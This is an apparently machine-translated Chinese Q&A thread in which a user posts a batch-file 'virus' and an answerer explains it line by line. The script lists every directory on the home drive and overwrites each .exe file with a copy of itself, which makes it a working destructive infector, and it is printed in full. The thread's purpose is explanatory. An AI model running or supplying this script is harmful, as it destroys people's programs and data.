批处理文件感染命令说明

Zac*_*ack 3 virus batch-file

我知道下面的命令用于感染可执行文件。但我不知道它们究竟是如何工作的。有人可以向我解释一下吗?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 
Run Code Online (Sandbox Code Playgroud)

Den*_*nis 5

@echo off
Run Code Online (Sandbox Code Playgroud)

禁用回显批处理命令。

Dir %Homedrive% /s /b > DirPath
Run Code Online (Sandbox Code Playgroud)

C:逐行列出您的主驱动器中的所有文件和目录(通常为)(/b开关),包括子目录(/s开关)并将结果存储在文件中DirPath

For /f %%Y In (DirPath) Do ( ... )
Run Code Online (Sandbox Code Playgroud)

对每个项目进行横向DirPath和执行...%%Y将包含该行的第一项。

Set DirPath=%%Y > Nul
Run Code Online (Sandbox Code Playgroud)

将行的第一项存储在变量中DirPath

For %%Z In (%DirPath%\*.exe) Do ( ... )
Run Code Online (Sandbox Code Playgroud)

遍历.exe存储在变量中的目录中的所有文件DirPath%%Z将包含可执行文件的名称。

Set ExeInfect=%%Z > Nul 
Run Code Online (Sandbox Code Playgroud)

将可执行文件的名称存储在变量中ExeInfect

Copy /y %0 %ExeInfect%
Run Code Online (Sandbox Code Playgroud)

/y将当前可执行文件(即批处理文件)复制而不提示(切换)存储在ExeInfect.

结果,所有可执行文件都被批处理文件替换。

嗯,几乎所有。For如果目录名称包含空格,则第一个命令的行为将不正确...